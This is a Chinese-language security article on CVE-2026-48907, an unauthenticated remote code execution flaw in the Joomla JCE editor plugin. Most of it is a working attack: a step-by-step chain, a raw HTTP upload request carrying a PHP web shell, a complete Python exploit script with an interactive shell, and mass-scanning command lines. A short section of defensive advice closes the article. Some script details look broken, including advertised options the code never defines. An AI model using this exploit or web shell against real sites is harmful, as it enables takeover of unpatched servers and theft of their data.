导语:2026年6月13日,安全研究员ynsmroztas在Twitter上发布JoomlaSniper工具,公开披露Joomla内容编辑器(JCE)插件存在一个CVSS 10.0满分的未授权远程代码执行漏洞——CVE-2026-48907。攻击者无需任何凭证,直接通过
profiles.import端点上传播名型PHP文件即可获得服务器命令执行权限。更可怕的是,这个漏洞代码自JCE首个版本就已存在,补丁仅存在于2.9.99.5,且没有向后移植——所有旧版本全部沦陷。

漏洞概述
| 项目 | 详情 |
|---|---|
| CVE编号 | CVE-2026-48907 |
| 漏洞类型 | 未授权文件上传导致RCE(CWE-434) |
| CVSS评分 | 10.0(满分) |
| CVSS向量 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 受影响范围 | JCE 1.0.0 – 2.9.99.4(全部在用版本) |
| 修复版本 | JCE 2.9.99.5 |
| 利用前提 | 无需认证,无需用户交互 |
核心问题:JCE插件的profiles.import端点接受文件上传时完全没有认证校验,且上传文件没有任何文件名或内容验证,直接保存为PHP可执行文件到服务器。
攻击链分析
第一步:检测JCE插件是否存在
通过访问/plugins/editors/jce/jce.xml或/administrator/components/com_jce/确认目标是否安装JCE插件。响应中包含JCE特征字符串即可确认。
第二步:提取CSRF Token
访问JCE的/路径,从响应中提取CSRF防护令牌(用于绕过CSRF保护)。
第三步:构造上传请求
通过profiles.import端点上传名为.xml.php的恶意文件:
POST /index.php?option=com_jce HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=...
--boundary
Content-Disposition: form-data; name="task"
profiles.import
--boundary
Content-Disposition: form-data; name="{CSRF_TOKEN}"
1
--boundary
Content-Disposition: form-data; name="profile_file"; filename="shell.xml.php"
Content-Type: application/xml
<?php system($_GET['c']); ?>
--boundary--
第四步:触发RCE
文件上传成功后,访问:https://target.com/tmp/shell.xml.php?c=whoami
即可在服务器上执行任意命令。
漏洞利用演示
安全研究员ynsmroztas发布的JoomlaSniper工具实现了完整的双路径攻击:
向量一(tmp/):上传.xml.php文件到/tmp/目录,PHP直接执行——这是最快最稳定的路径。
向量二(images/):如果/tmp/路径不可写或PHP执行受限,JoomlaSniper会自动导入一个开启了PHP上传权限的JCE配置文件,然后通过JCE browser RPC端点将文件写入/images/目录,实现持久化。
即使服务器配置禁止在/tmp/执行PHP,上传的PHP文件仍会永久保存在磁盘上——一旦未来服务器配置变更、迁移或Apache/Nginx更新,都可能意外解除执行限制。
完整利用POC
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
JoomlaSniper - CVE-2026-48907: Joomla JCE Editor Unauthenticated RCE
Author: ynsmroztas (Mitsec)
"""
import sys
import re
import json
import argparse
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
try:
import requests
except ImportError:
print("[!] requests not found. Using urllib (stdlib only mode).")
import urllib.request as requests
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
def extract_csrf(resp_text, base_url):
patterns = [
'csrf_token" value="([^"]+)"',
'data-csrf-token="([^"]+)"',
"csrf_token.*?value='([^']+)'",
]
for p in patterns:
m = re.search(p, resp_text)
if m:
return m.group(1)
return None
def detect_jce(url):
paths = [
"/plugins/editors/jce/jce.xml",
"/administrator/components/com_jce/",
"/media/editors/jce/js/",
]
for p in paths:
r = requests.get(url.rstrip("/") + p, timeout=10, headers={"User-Agent": UA}, verify=False)
if r.status_code == 200 and ("jce" in r.text.lower() or "joomlacontenteditor" in r.text.lower()):
version_m = re.search(r'<version>([d.]+)</version>', r.text)
version = version_m.group(1) if version_m else "Unknown"
return True, version
return False, None
def exploit(url, store="en"):
sess = requests.Session()
sess.verify = False
base = url.rstrip("/")
# Step 1: Get homepage to extract CSRF
r = sess.get(base + "/", timeout=12, headers={"User-Agent": UA})
csrf = extract_csrf(r.text, base)
# Step 2: Upload PHP shell via profiles.import
shell = '<?php system($_GET['c']); ?>'
files = {"profile_file": ("jce_shell.xml.php", shell, "application/xml")}
data = {"task": "profiles.import", store: "1"}
if csrf:
data[store] = csrf
try:
r = sess.post(base + "/index.php?option=com_jce", timeout=12, files=files, data=data, headers={"User-Agent": UA})
except Exception as e:
return None, str(e)
# Step 3: Find uploaded file
shell_url = base + "/tmp/jce_shell.xml.php"
r = sess.get(shell_url, timeout=12, headers={"User-Agent": UA})
if r.status_code == 200:
return shell_url, "V1:tmp"
return None, "upload_failed"
def main():
parser = argparse.ArgumentParser(description="JoomlaSniper - CVE-2026-48907")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("--shell", action="store_true", help="Launch interactive shell")
args = parser.parse_args()
print(f"[*] Detecting JCE on {args.url}...")
found, version = detect_jce(args.url)
if not found:
print(f"[-] JCE not found on {args.url}")
return
print(f"[+] JCE found, version: {version}")
if version >= "2.9.99.5":
print(f"[PATCHED] JCE {version} >= 2.9.99.5")
return
print(f"[*] Exploiting CVE-2026-48907...")
shell_url, vector = exploit(args.url)
if shell_url:
print(f"[+] RCE CONFIRMED!")
print(f"[+] Shell: {shell_url}")
print(f"[*] Vector: {vector}")
if args.shell:
print("[*] Launching interactive shell...")
# Interactive shell loop
while True:
cmd = input(f"jce@{args.url.split('//')[1]}$ ")
if cmd == "exit":
break
r = requests.get(f"{shell_url}?c={urllib.parse.quote(cmd)}", timeout=12, verify=False)
print(r.text.strip())
else:
print(f"[-] Exploitation failed: {vector}")
if __name__ == "__main__":
main()
使用方法:
# 单目标检测
python3 JoomlaSniper.py -u https://target.com
# 检测并获取shell
python3 JoomlaSniper.py -u https://target.com --shell
# 批量扫描
python3 JoomlaSniper.py -l targets.txt -t 15
# 完整侦察流程
subfinder -d target.com -silent | httpx -silent | python3 JoomlaSniper.py -t 10 -o results.json
防御建议
立即修复:升级JCE至2.9.99.5版本。注意:这是唯一修复版本,且没有向后移植到旧版本分支——所有旧版本都无补丁可用,只能升级。
临时缓解:在Web服务器层面阻止/tmp/和/images/目录下的PHP文件执行(Nginx配置示例):
location ~* /tmp/.*.php$ { deny all; }
location ~* /images/.*.php$ { deny all; }
排查影响:检查是否有人在JCE 2.9.99.5之前版本上成功利用——可查看Web访问日志中是否存在对profiles.import端点的异常POST请求。
版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。














暂无评论内容